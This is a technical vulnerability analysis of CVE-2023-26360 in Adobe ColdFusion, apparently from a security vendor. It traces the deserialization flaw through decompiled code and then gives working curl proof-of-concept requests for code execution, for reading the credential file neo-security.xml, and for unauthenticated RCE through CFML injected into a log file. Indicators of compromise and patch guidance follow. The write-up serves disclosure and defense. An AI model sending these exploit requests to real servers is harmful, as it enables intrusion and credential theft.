###### Technical Analysis
_Update #1 – April 3, 2023: Updated analysis to include arbitrary file read as well as unauthenticated remote code execution. Added context around the CVE-2023-26360 and CVE-2023-26359 ambiguity. Added an IOC section._
_Update #2 – April 14, 2023: Updated analysis to clarify that this analysis is for the vulnerability CVE-2023-26360 and not CVE-2023-26359. On 12 March 2023, Adobe updated their advisory to re-classify CVE-2023-26360 from an Improper Access Control vulnerability to a Deserialization of Untrusted Data vulnerability. This change, in conjunction with privately reported information regarding CVE-2023-26359, lets us reliably identify the vulnerability described in this analysis as CVE-2023-26360._
Overview
--------
Adobe ColdFusion is a rapid web application development platform. On March 14, 2023, Adobe published an [advisory](https://helpx.adobe.com/security/products/coldfusion/apsb23-25.html) outlining three vulnerabilities that affect ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier. One of the vulnerabilities addressed in this advisory is [CVE-2023-26360](https://nvd.nist.gov/vuln/detail/CVE-2023-26360), a deserialization of untrusted data vulnerability that may lead to arbitrary code execution. This vulnerability has been given a CVSS base score of [9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2023-26360&vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&version=3.1&source=NIST) and has a severity rating of Critical.
On March 24, 2023 [Rapid7 published a blog](https://www.rapid7.com/blog/post/2023/03/21/etr-rapid7-observed-exploitation-of-adobe-coldfusion/) highlighting active exploitation of Adobe ColdFusion being detected by Rapid7’s Threat Intelligence and Detection Engineering teams, with occurrences dating back to early January using an unknown vulnerability. This highlights how attackers are actively and consistently targeting ColdFusion, which is a widely deployed platform.
The vulnerability allows an attacker to specify an arbitrary file path to either a Java class, ColdFusion Markup Language (CFML) source file, or an arbitrary non Java file when deserializing the metadata for a TemplateProxy object in the `JSONUtils.deserializeJSON` method during a `_cfclient` request. An attacker who can plant a malicious Java class or source file in a predictable location under any filename or extension can leverage this vulnerability to achieve arbitrary code execution. In addition an attacker may leverage the same issue to read arbitrary files from the server. Finally, due to how ColdFusion source files are translated, unauthenticated remote code execution is also possible.
This analysis was performed on Adobe ColdFusion 2021 Update 5 (2021.0.05.330109), running on Windows Server 2022.
Throughout the analysis the [ColdFusion Component](https://helpx.adobe.com/coldfusion/developing-applications/building-blocks-of-coldfusion-applications/building-and-using-coldfusion-components/about-coldfusion-components.html) (CFC) endpoint `testing.cfc` is used. This endpoint can be replaced with any CFC endpoint an attacker can access, and will depend largely on what web application is installed on top of ColdFusion or how the ColdFusion server is configured. It should be noted that several CFC endpoints are accessible in a default ColdFusion installation even when no third party web application is installed.
Root Cause Analysis
-------------------
We analyze the patch for this vulnerability by downloading a patched version of ColdFusion 2021, update 6 and a vulnerable version of ColdFusion 2021, update 5. We can decompile both versions using the Java decompiler [CFR](https://www.benf.org/other/cfr/).
\> java -jar cfr-0.152.jar --outputpath c:\\decomp\_coldfusion\_u5 C:\\cf2021u5\\opt\\coldfusion\\cfusion\\lib\\cfusion.jar \> java -jar cfr-0.152.jar --outputpath c:\\decomp\_coldfusion\_u5 --clobber true C:\\\\cf2021u5\\opt\\coldfusion\\cfusion\\lib\\updates\\chf20210005.jar \> java -jar cfr-0.152.jar --outputpath c:\\decomp\_coldfusion\_u6 C:\\\\cf2021\_u6\\opt\\coldfusion\\cfusion\\lib\\cfusion.jar \> java -jar cfr-0.152.jar --outputpath c:\\decomp\_coldfusion\_u6 --clobber true C:\\\\cf2021\_u6\\opt\\coldfusion\\cfusion\\lib\\updates\\chf20210006.jar
Inspecting these folders for changes we identify the file `JSONUtils.java` as being of interest, and running a `git diff` command against the two version of this file will reveal the addition of a variable `allowNonCFCDeserialization` which prevents a `TemplateProxy` instance being created during a call to `coldfusion.runtime.JSONUtils.convertToTemplateProxy`. In addition, the patch also enforces a TemplateProxy to originate from a file name with a `.cfc` extension.
diff --git "a/c:\\\\decomp\_coldfusion\_u5\\\\coldfusion\\\\runtime\\\\JSONUtils.java" "b/c:\\\\decomp\_coldfusion\_u6\\\\coldfusion\\\\runtime\\\\JSONUtils.java" index 7bca87f..293fb20 100644 \--- "a/c:\\\\decomp\_coldfusion\_u5\\\\coldfusion\\\\runtime\\\\JSONUtils.java" +++ "b/c:\\\\decomp\_coldfusion\_u6\\\\coldfusion\\\\runtime\\\\JSONUtils.java" @@ -96,6 +96,7 @@ public class JSONUtils { public static final String JS\_DATE\_FORMAT = "MMMMM, dd yyyy HH:mm:ss"; private static final Logger logger = CFLogs.SERVER\_LOG; private static Map<Integer, String> SPECIAL\_CHAR\_MAP; \+ private static boolean allowNonCFCDeserialization; private static final boolean numberAsDouble; private static boolean returnCaseSensitiveStruct; private static final String CASESENSITIVESTRUCT = "CaseSensitiveStruct"; @@ -1507,6 +1508,9 @@ public class JSONUtils { serverClass = serverClass.substring(contextPath.length()); } File pageFile = new File(context.getRealPath(serverClass, true)); \+ if (!(!context.isCFClientCall() || allowNonCFCDeserialization || pageFile.exists() && pageFile.getAbsolutePath().endsWith(".cfc"))) { \+ return null; \+ } TemplateProxy tp = TemplateProxyFactory.resolveFile((NeoPageContext)context.pageContext, (File)pageFile); Object varObj = s.get("\_variables"); Map map = vars = varObj instanceof Array ? null : (Map)varObj; @@ -1678,6 +1682,7 @@ public class JSONUtils { } static { \+ allowNonCFCDeserialization = Boolean.getBoolean("coldfusion.cfclient.allowNonCfc"); numberAsDouble = Boolean.getBoolean("json.numberasdouble"); returnCaseSensitiveStruct = false; SPECIAL\_CHAR\_MAP = new HashMap<Integer, String>();
First we must understand why a call to `coldfusion.runtime.TemplateProxyFactory.resolveFile` may be unsafe and why the addition of a variable `allowNonCFCDeserialization` and a check `pageFile.getAbsolutePath().endsWith(".cfc")` was added to prevent exploitation. Then we will identify how an attacker can call this method with attacker controlled data to trigger the issue.
If we inspect `convertToTemplateProxy` we can see the parameter `s` is a key-value Map structure. This parameter, we will learn, is attacker-controlled. If the map contains a value with the key `_metadata`, this metadata value, itself a Map, will be queried for a value with a key of `classname`. This classname string will be converted into a file path via a call to `coldfusion.filter.FusionContext.getRealPath`. Finally this file path will be passed to `coldfusion.runtime.TemplateProxyFactory.resolveFile`. No attempt to sanitize the `pageFile` path is performed, allowing a malicious path to an arbitrary file to be specified by an attacker, including the use of the double dot path specifier to navigate beneath the `C:\ColdFusion2021\cfusion\wwwroot\` if desired.
private static Map convertToTemplateProxy(Map s) { Map ret \= s; try { Object metadata \= s.get("\_metadata"); FusionContext context \= FusionContext.getCurrent(); if (metadata !\= null) { Map vars; String serverClass \= (String)((Map)metadata).get("classname"); String contextPath \= context.getRequest().getContextPath(); if (!serverClass.startsWith("/")) { serverClass \= serverClass.substring(serverClass.indexOf("//") + 2); serverClass \= serverClass.substring(serverClass.indexOf("/") + 1); } if (contextPath !\= null && !"".equals(contextPath) && serverClass.startsWith(contextPath)) { serverClass \= serverClass.substring(contextPath.length()); } File pageFile \= new File(context.getRealPath(serverClass, true)); TemplateProxy tp \= TemplateProxyFactory.resolveFile(context.pageContext, pageFile); // <---- Object varObj \= s.get("\_variables"); Map map \= vars \= varObj instanceof Array ? null : (Map)varObj; if (vars !\= null) { tp.getVariableScope().putAll(vars); } return tp; } } catch (Throwable throwable) { // empty catch block } return ret; }
A call to `resolveFile` wraps a call to `resolveName` as shown below. The parameter `canonicalResolvedFile` is a `File` instance with an attacker controlled path. This path is passed to `coldfusion.runtime.TemplateProxyFactory.getCFCInstance`.
static TemplateProxy resolveName(TemplateProxy proxyInstance, NeoPageContext pageContext, File canonicalResolvedFile, String fullName, boolean origCFC, Map initalThisVars, HashSet derivedClasses, boolean initializeCFC) throws Throwable { CfJspPage page; AttributeCollection metadata; ServletContext servletContext \= pageContext.getServletContext(); if (fullName !\= null) { fullName \= fullName.replace('/', '.'); if ((fullName \= fullName.replace('\\\\', '.')).startsWith(".")) { fullName \= fullName.substring(fullName.indexOf(".") + 1); } } if ((metadata \= (AttributeCollection)(page \= TemplateProxyFactory.getCFCInstance(servletContext, canonicalResolvedFile, fullName)).getMetadata()).get(Key.PATH) \=\= null && (String)metadata.get(Key.NAME) \=\= "application") { // <---- metadata.put(Key.NEWLY\_COMPILED, (Object)"true"); }
In `getCFCInstance` we can see the attacker-controlled path is passed to `TemplateClassLoader.newInstance`.
private static CfJspPage getCFCInstance(ServletContext servletContext, File canonicalFile, String fullName) throws Exception { CfJspPage page; if (System.getSecurityManager() !\= null) { page \= (CfJspPage)AccessController.doPrivileged(new TemplateClassLoaderPrivilege(servletContext, canonicalFile, null)); if (fullName !\= null && !fullName.equals(BASE\_COMPONENT\_NAME)) { if (VFSFileFactory.checkIfVFile(canonicalFile.getPath())) { AccessController.checkPermission(new VFilePermission(canonicalFile.getPath(), "read")); } else { AccessController.checkPermission(new FilePermission(canonicalFile.getPath(), "read")); } } } else { page \= TemplateClassLoader.newInstance(servletContext, canonicalFile.getPath(), null); // <---- } return page; }
And in `newInstance` we can see the attacker-controlled path is passed to `coldfusion.runtime.TemplateClassLoader.findClass`, which will return a `Class` instance that represents the loaded class in the Java Virtual Machine (JVM). We can then see an instance of this class is constructed via a call to `c.getDeclaredConstructor(new Class[0]).newInstance`.
public static CfJspPage newInstance(ServletContext application, String realPath, VariableScope vs) throws Exception { return TemplateClassLoader.newInstance(application, realPath, vs, null); // <---- } public static CfJspPage newInstance(ServletContext application, String realPath, VariableScope vs, LocalScope ls) throws Exception { Class c \= TemplateClassLoader.findClass(application, realPath); // <---- if (c \=\= null) { String upperFilePath \= realPath.toUpperCase(); if (upperFilePath.endsWith(".CFC")) { throw new CfJspPage.NoSuchTemplateException(realPath); } throw new TemplateNotFoundException(realPath); } Object obj \= c.getDeclaredConstructor(new Class\[0\]).newInstance(new Object\[0\]); // <----
The method `findClass` will try to pull out a `Class` instance from a cache called `classCache` using the file path as the key.
public static Class findClass(ServletContext application, String realPath) throws IOException { long lastModTime; long compiledTime; if (translator \=\= null) { Class<TemplateClassLoader\> clazz \= TemplateClassLoader.class; // MONITORENTER : coldfusion.runtime.TemplateClassLoader.class if (translator \=\= null) { translator \= new NeoTranslator(application); translator.setSaveClasses(saveClassFiles); runtimeService \= ServiceFactory.getRuntimeService(); classCache.setSize(runtimeService.getTemplateCacheSize()); classDir \= new File(TemplateClassLoader.translator.outputDir); } // MONITOREXIT : clazz } if (runtimeService.isCommandLineCompile() && (compiledTime \= TemplateClassLoader.getLastCompiledTime(realPath)) !\= (lastModTime \= TemplateClassLoader.getLastModifiedTime(realPath))) { classCache.remove(realPath); } Class c \= (Class)classCache.get(realPath); // <----
The cache is of type `coldfusion.runtime.TemplateClassLoader.TemplateCache`, which inherits from `coldfusion.util.SoftCache`. We can see below that if a call to `get` returns a `null` reference, occurring when a file path is loaded for the first time, then a call to `fetch` is performed.
// coldfusion.util.SoftCache public Object get(Object key) { if (this.stats \=\= Stats.FALSE || this.stats \=\= Stats.RUNTIME && !statsEnabled) { return this.get\_statsOff(key); // <---- } return this.get\_statsOn(key); } private Object get\_statsOff(Object key) { Object value; ValueRef ref \= this.map.get(key); if (ref !\= null && (value \= ref.get()) !\= null) { return value instanceof Null ? null : value; } this.reap(); value \= this.fetch(key); // <----
`fetch` as implemented in `TemplateCache` will use the ColdFusion compiler `NeoTranslator` to translate the files contents into a Java class via a call to `coldfusion.compiler.NeoTranslator.translateJava`.
private static class TemplateCache extends SoftCache { private static TemplateChecker tc \= null; final LruCache secondary \= new LruCache(){ @Override protected Object fetch(Object file) { try { Class<?\> c; Map classBytes; File canonicalFile \= (File)file; if (tc !\= null && !tc.check(canonicalFile)) { return null; } String className \= NeoTranslator.getClassName(canonicalFile); byte\[\] bytes \= null; if (saveClassFiles && translator.isNewPage(canonicalFile.getPath())) { long sourceModTime \= \-1L; try { if (System.getSecurityManager() \=\= null) { bytes \= TemplateClassLoader.getClassBytes(className); } else { try { final String tempClassName \= className; bytes \= (byte\[\])AccessController.doPrivileged(new PrivilegedExceptionAction(){ public Object run() throws Exception { return TemplateClassLoader.getClassBytes(tempClassName); } }); } catch (PrivilegedActionException e) { throw new IOException(e.getLocalizedMessage()); } } sourceModTime \= new ClassReader(bytes).getSourceModTime(); } catch (IOException e) { // empty catch block } if (sourceModTime !\= \-1L) { translator.setSourceLastModified(canonicalFile.getPath(), sourceModTime); } classBytes \= translator.translateJava(canonicalFile.getPath(), false); // <---- } else { classBytes \= translator.translateJava(canonicalFile.getPath(), true); }
Finally `translateJava` will perform one of two operations. If the file to be loaded is a Java Class binary, as identified by inspecting the first four bytes for the magic value `0xCAFEBABE`, then this class file will be loaded. If it is not a class file, the file will be compiled on the fly as source code for a Java ColdFusion component or module.
The root cause of the vulnerability lies in `convertToTemplateProxy`. We can see that this vulnerable method is called during `coldfusion.runtime.JSONUtils.parseObject` as shown below, which itself is called during `JSONUtils.deserializeJSON`. By default `deserializeToTemplateProxy` will be `false`, so to reach the vulnerable `convertToTemplateProxy` method, the HTTP request must be a `_cfclient` request in order to satisfy the `isCFClientCall` check. A `_cfclient` request is identified by having the parameter `_cfclient=true` present in the request URL.
private static Object parseObject(ParserState state) { Object cfml; JSONUtils.walkWhitespace(state); switch (state.currentChar()) { case '{': { cfml \= JSONUtils.parseStruct(state); FusionContext fc \= FusionContext.getCurrent(); CFComparable cfmlStruct \= returnCaseSensitiveStruct ? (CaseSensitiveStruct)cfml : (Struct)cfml; if (fc !\= null && (fc.isCFClientCall() || state.deserializeToTemplateProxy) && cfmlStruct.get("\_metadata") !\= null) { if (returnCaseSensitiveStruct) { cfml \= JSONUtils.convertToTemplateProxy((CaseSensitiveStruct)cfml); // <---- break; } cfml \= JSONUtils.convertToTemplateProxy((Struct)cfml); // <---- break; }
From reviewing the above we can see that calling `JSONUtils.deserializeJSON` with attacker-controlled JSON input during a `_cfclient` request will result in an attacker-specified file being instantiated as a Java class after being processed by the `NeoTranslator` compiler.
How this vulnerability is exploited depends on what type of file is being translated to a Java class via the `NeoTranslator` compiler. There are 3 strategies an attacker may employ:
1. An attacker can execute arbitrary code by planting a malicious Java class file on disk. The attacker may provide an arbitrary path to any file on the local file system, and the file may have an arbitrary extension — i.e., it can end in `.txt`, `.log`, `.xml` or any other extension and does not need to be `.cfc`. An attacker will need to leverage a separate technique to plant a malicious file in a predictable location before being able to leverage the vulnerability in this way.
2. An attacker can read arbitrary files if the file is not a Java class or CFML source file.
3. An attacker may achieve remote code execution by inserting CFML tags into an existing file, such as a log file, and then causing this log file to be translated by the `NeoTranslator` compiler.
All three methods of exploitation are described in detail below.
Triggering the Vulnerability
----------------------------
Searching for calls to the vulnerable `JSONUtils.deserializeJSON` method reveals the `invoke` method in the `coldfusion.filter.ComponentFilter` class. This class is part of a filter chain in the `CFCServlet` class. The filter chain is a series of filter classes that process, in sequence, all incoming HTTP requests to ColdFusion Component (CFC) files. The configuration for this servlet is specified in the file `C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\web.xml` which contains the following URL pattern mapping.
<servlet-mapping id="coldfusion\_mapping\_4"\> <servlet-name\>CFCServlet</servlet-name> <url-pattern\>\*.cfc</url-pattern> </servlet-mapping> <servlet-mapping id="coldfusion\_mapping\_18"\> <servlet-name\>CFCServlet</servlet-name> <url-pattern\>\*.CFC</url-pattern> </servlet-mapping> <servlet-mapping id="coldfusion\_mapping\_19"\> <servlet-name\>CFCServlet</servlet-name> <url-pattern\>\*.Cfc</url-pattern> </servlet-mapping>
Therefore, an HTTP request to a CFC file on the server will be processed by the `ComponentFilter` class.
We can see below in `ComponentFilter.invoke` that if a URL parameter called `_cfclient` is set to `true`, then all further calls to `isCFClientCall` will be `true`, which is a requirement for triggering the vulnerability in `coldfusion.runtime.JSONUtils.parseObject` as previously discussed. The parameters passed in the request are retrieved via `FilterUtils.GetArgumentCollection`, and an attacker-controlled parameter `_variables` is deserialized via the vulnerable `JSONUtils.deserializeJSON` method with attacker-controlled data.
package coldfusion.filter; We can see below that if the URL in the request public class ComponentFilter extends FusionFilter { public void invoke(FusionContext context) throws Throwable { // ... if ((cfClientCall \= (String)(urlScope \= (UrlScope)context.hiddenScope.get("URL")).get("\_cfclient")) !\= null && Cast.\_boolean(cfClientCall)) { context.setCfclientCall(true); } Map args \= FilterUtils.GetArgumentCollection(context); Struct cloneVars \= new Struct(); if (context.isCFClientCall()) { String name; String type; AttributeCollection attr; int i; args.remove("\_cfclient"); args.remove("\_metadata"); Map vars \= (Map)JSONUtils.deserializeJSON(args.remove("\_variables")); // <----
PoC – Arbitrary Code Execution
------------------------------
To demonstrate exploitation we will manually plant a malicious Java class in a predictable location with an unassuming file extension, `C:\ColdFusion2021\cfusion\runtime\work\Catalina\localhost\tmp\hax.tmp`. As previously discussed, this vulnerability requires the attacker to have this capability either through a separate vulnerability chained with this vulnerability, or by leveraging a web application-specific feature of the target application running on top of ColdFusion.
First we create a simple Java class that will execute Notepad via a static code block.
import java.io.\*; public class hax { static { try { Runtime.getRuntime().exec("c:\\\\windows\\\\notepad.exe"); } catch(IOException e) { } } }
We can compile this class using `javac` and plant it in an expected location with an extension of `.tmp`.
C:\\ColdFusion2021\\jre\\bin\\javac hax.java copy hax.class C:\\ColdFusion2021\\cfusion\\runtime\\work\\Catalina\\localhost\\tmp\\hax.tmp
Finally, an HTTP request to a CFC endpoint on the target will load the class.
curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&\_cfclient=true -X POST --data "\_variables={\\"\_metadata\\":{\\"classname\\":\\"\\\\..\\\\runtime\\\\work\\\\Catalina\\\\localhost\\\\tmp\\\\hax.tmp\\"},\\"\_variables\\":{}}" -H "Content-Type: application/x-www-form-urlencoded"
Notepad will now execute with local system privileges.
PoC – Arbitrary File Read
-------------------------
We can leverage the vulnerability to read an arbitrary file from the server. When creating a `TemplateProxy` instance via `TemplateProxyFactory.resolveFile` with an arbitrary attacker-supplied path, if the path points to a file that is neither a Java class file nor a valid source file, the `NeoTranslator` compiler will generate a `coldfusion.runtime.CFPage` class that emits the entire contents of the file to the pages output stream. This will in turn write the contents of the file to the HTTP responses output stream and will be appended the HTTP responses content data after a successful request completes.
**A requirement for leveraging the vulnerability to read an arbitrary file is the attacker must call both a valid CFC endpoint and a valid remote CFC method in order for the HTTP response to contain the output of the arbitrary file to be read.** If the CFC endpoint or the CFC method being called is not valid, the response will not include the arbitrary files content, instead only including an error message.
For example, to read the configuration file `neo-security.xml`, which will contain ColdFusion usernames and passwords, the following request can be issued:
curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&\_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "\_variables={\\"\_metadata\\":{\\"classname\\":\\"\\\\..\\\\lib\\\\neo-security.xml\\",\\"\_variables\\":\[\]}}"
We can observe that after the request completes, the file `neo-security.xml` has been translated into a Java class stored in the folder `C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfneo2dsecurity2exml1272981206.class`. This class, when instantiated, emits the files original contents.
If we decompile this class we can see how ColdFusion has generated a new class, inheriting from `CFPage`, which in turn will inherit from `CfJspPage`, to emit the files original contents (Note: sensitive values have been redacted below).
import coldfusion.runtime.AttributeCollection; import coldfusion.runtime.CFPage; import coldfusion.runtime.CfJspPage; import javax.servlet.jsp.JspWriter; import javax.servlet.jsp.tagext.Tag; public final class cfneo2dsecurity2exml1272981206 extends CFPage { public static final Object metaData \= new AttributeCollection(new Object\[\] { "Functions", new Object\[0\], "Properties", new Object\[0\] }); public final Object getMetadata() { return metaData; } protected final Object runPage() { out \= ((CfJspPage)this).pageContext.getOut(); parent \= ((CfJspPage)this).parent; ((CfJspPage)this).pageContext.setPageEncoding("Cp1252"); out.write("<wddxPacket version='1.0'><header/><data><struct type='coldfusion.server.ConfigMap'><var name='AuthorizedUsers'><struct type='coldfusion.util.FastHashtable'><var name='TestUser'><struct type='java.util.HashMap'><var name='password'><string>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</string></var><var name='salt'><string>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</string></var><var name='roles'><array length='3'><string>coldfusion.datasources</string><string>coldfusion.administrator</string><string>coldfusion.adminapi</string></array></var><var name='description'><string>test user 1</string></var><var name='sandboxes'><array length='0'></array></var><var name='exposedServices'><array length='1'><string>htmltopdf</string></array></var><var name='username'><string>TestUser</string></var></struct></var></struct></var><var name='admin.userid.root'><string>admin</string></var><var name='CrossSiteScriptPatterns'><struct type='coldfusion.server.ConfigMap'><var name='<\\\\s\*(object|embed|script|applet|meta)'><string><InvalidTag</string></var></struct></var><var name='admin.userid.root.salt'><string>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</string></var><var name='rds.enabled'><string>false</string></var><var name='allowconcurrentadminlogin'><boolean value='false'/></var><var name='cfadmin.cookieidentifier'><string>XXXXXXXXXX</string></var><var name='allowedAdminIPList'><string>127.0.0.1</string></var><var name='contexts'><struct type='coldfusion.server.ConfigMap'><var name='/'><struct type='coldfusion.server.ConfigMap'></struct></var></struct></var><var name='admin.security.enabled'><boolean value='true'/></var><var name='admin.userid.required'><boolean value='true'/></var><var name='secureprofile.enabled'><boolean value='true'/></var><var name='rds.security.enabled'><string>true</string></var><var name='sbs.security.enabled'><boolean value='false'/></var><var name='rds.security.usesinglerdspassword'><boolean value='false'/></var></struct></data></wddxPacket>"); return null; } }
We can note the `runPage` method must be called for the files contents to be emitted. We have previously seen that `coldfusion.runtime.TemplateProxyFactory.getCFCInstance` will create the instance. Subsequently a call to `coldfusion.runtime.TemplateProxyFactory.resolveComponentHelper` will call `invoke` on the new pages filter chain, which ends with a call to `coldfusion.runtime.CfJspPage.invoke` as shown below. This will call `runPage` and the contents of the arbitrary file will be emitted to the pages output stream.
package coldfusion.runtime; public abstract class CfJspPage extends FusionFilter implements Metadata, Cloneable { public void invoke(FusionContext context) throws Throwable { String oldPagePath \= context.getPagePath(); NeoPageContext oldPageContext \= context.pageContext; context.setPagePath(this.getPagePath()); context.pageContext \= this.pageContext; try { if (!(this instanceof CFInterface)) { RequestMonitorData rmd \= null; if (Configuration.INSTANCE.isCodeProfilerOn()) { rmd \= RequestMonitorData.getCurrent(); } CFStack cfStack \= null; if (rmd !\= null) { cfStack \= rmd.getCFStack(); } if (cfStack !\= null) { cfStack.pushStackFrame(this.getPagePath(), null, oldPageContext.getCurrentLineNo(), true); } context.returnValue \= this.runPage(); // <----
PoC – Remote Code Execution
---------------------------
We can leverage this vulnerability to achieve unauthenticated remote code execution. We know the `NeoTranslator` will translate the contents of an arbitrary file the attacker can specify. And as we have seen above, this can be leveraged to either load a binary Java class or to read the arbitrary contents on a non-Java class or non-ColdFusion Markup Language (CFML) file. However, if we can insert arbitrary [CFML tags](https://helpx.adobe.com/coldfusion/cfml-reference/coldfusion-tags/tags-by-function.html) into an existing file and then translate this file, we can achieve arbitrary remote code execution.
This is possible by performing an HTTP request with data containing arbitrary CFML tags, and in such a way that the contents of this data will be logged to a ColdFusion log file, specifically `C:\ColdFusion2021\cfusion\logs\coldfusion-out.log`. If we then translate the `coldfusion-out.log` file, we will execute the instructions specified in the arbitrary CFML tags present in the log file. We can achieve the above by providing arbitrary CFML tags inside an invalid JSON object.
For example, in the below request note the first item in the JSON object starts with a `<` character and not an expected `”`character.
curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&\_cfclient=true -H "Content-Type: application/x-www-form-urlencoded" --data "\_variables={<cfexecute name='c:\\windows\\notepad.exe'></cfexecute>"
Upon issuing the above request the following error message is written to the `coldfusion-out.log` file:
Apr 3, 2023 12:16:26 PM Error \[http-nio-8500-exec-7\] - JSON parsing failure: Expected '""' at character 2:'<' in {<cfexecute name='c:\\windows\\notepad.exe'></cfexecute> The specific sequence of files included or processed is: C:\\ColdFusion2021\\cfusion\\wwwroot\\testing.cfc''
We can note the CFML tag `cfexecute` is now present in the log file. This tag will execute the `notepad.exe` application if this CFML is run.
Therefore to run the attacker controlled CFML present in the log file the following request can be made:
curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&\_cfclient=true -H "Content-Type: application/x-www-form-urlencoded" --data "\_variables={\\"\_metadata\\":{\\"classname\\":\\"\\\\..\\\\logs\\\\coldfusion-out.log\\",\\"\_variables\\":\[\]}}"
Upon processing this request, ColdFusion will translate the log file as CFML and execute the translated Java via the `runPage` method of the newly translated class, which in turn will execute `notepad.exe` with local system privileges.
The translated log file will be present in the `cfclasses` folder under the name `cfcoldfusion2dout2elog376354580.class`. If we inspect this class in a decompiler we can see the `runPage` method as generated by the `NeoTranslator` compiler.
import coldfusion.runtime.AttributeCollection; import coldfusion.runtime.CFPage; import coldfusion.runtime.CfJspPage; import coldfusion.tagext.lang.ExecuteTag; import javax.servlet.jsp.JspWriter; import javax.servlet.jsp.tagext.Tag; public final class cfcoldfusion2dout2elog376354580 extends CFPage { static final Class class$coldfusion$tagext$lang$ExecuteTag \= Class.forName("coldfusion.tagext.lang.ExecuteTag"); public static final Object metaData \= new AttributeCollection(new Object\[\] { "Functions", new Object\[0\], "Properties", new Object\[0\] }); public final Object getMetadata() { return metaData; } protected final Object runPage() { out \= ((CfJspPage)this).pageContext.getOut(); parent \= ((CfJspPage)this).parent; ((CfJspPage)this).pageContext.setPageEncoding("Cp1252"); out.write("Apr 3, 2023 12:19:44 PM Information \[scheduler-0\] - Run Client Storage Purge\\r\\nApr 3, 2023 12:22:46 PM Error \[http-nio-8500-exec-2\] - JSON parsing failure: Expected '\\"\\"' at character 2:'<' in {"); execute0 \= (ExecuteTag)\_initTag(class$coldfusion$tagext$lang$ExecuteTag, 0, parent); \_setCurrentLineNo(2); execute0.setName("c:\\\\windows\\\\notepad.exe"); // <---- execute0.hasEndTag(true); try { if ((mode0 \= execute0.doStartTag()) !\= 0) // <---- spawn notepad.exe do { } while (execute0.doAfterBody() !\= 0); if (execute0.doEndTag() \=\= 5) { t6 \= null; execute0.doFinally(); return t6; } execute0.doFinally(); } catch (Throwable throwable) { execute0.doCatch(throwable); execute0.doFinally(); } catch (Throwable throwable) { execute0.doFinally(); throw throwable; } out.write(" The specific sequence of files included or processed is: C:\\\\ColdFusion2021\\\\cfusion\\\\wwwroot\\\\testing.cfc''\\r\\n"); return null; } }
If we inspect the implementation of `coldfusion.tagext.lang.ExecuteTag.doStartTag` we can see it executes the attacker-supplied command via `Runtime.getRuntime().exec`.
It should be noted that the attacker will need to target a valid CFC endpoint (our example above targeted `testing.cfc`), but the method being targeted (`foo` in our example above) does not need to be a valid CFC function marked for remote access. The method may be an arbitrary value as the vulnerability will be triggered before the method is discovered to be non-existent.
Indicators of Compromise
------------------------
If the vulnerability has been leveraged to read arbitrary files or perform remote code execution, there may be evidence of this remaining in the `cfclasses` folder for the affected ColdFusion installation, e.g., `C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses`. This folder is expected to cache classes for compiled CFC or CFM source files.
For example, if the file `neo-security.xml` was read, a class file will be in the `cfclasses` folder with a name of `cfneo2dsecurity2exml1272981206.class`.
If the file `coldfusion-out.log` was leveraged during remote code execution, a class file will be in the `cfclasses` folder with a name of `cfcoldfusion2dout2elog376354580.class`.
**Note:** The number prepended to the `.class` extension is a hash code and may differ depending on the ColdFusion installation.
Examining the `cfclasses` folder for files that do not contain `2ecfc` or `2ecfm` may indicate that arbitrary files have been read or remote code execution has been performed. You can examine the decompiled contents of these files to understand the operation that was performed.
It should be noted that the attacker may have deleted these files after a successful compromise.
Guidance
--------
To successfully remediate against this vulnerability the latest updates for ColdFusion should be applied, specifically:
* ColdFusion 2021 Update 6 or later
* ColdFusion 2018 Update 16 or later
暂无评论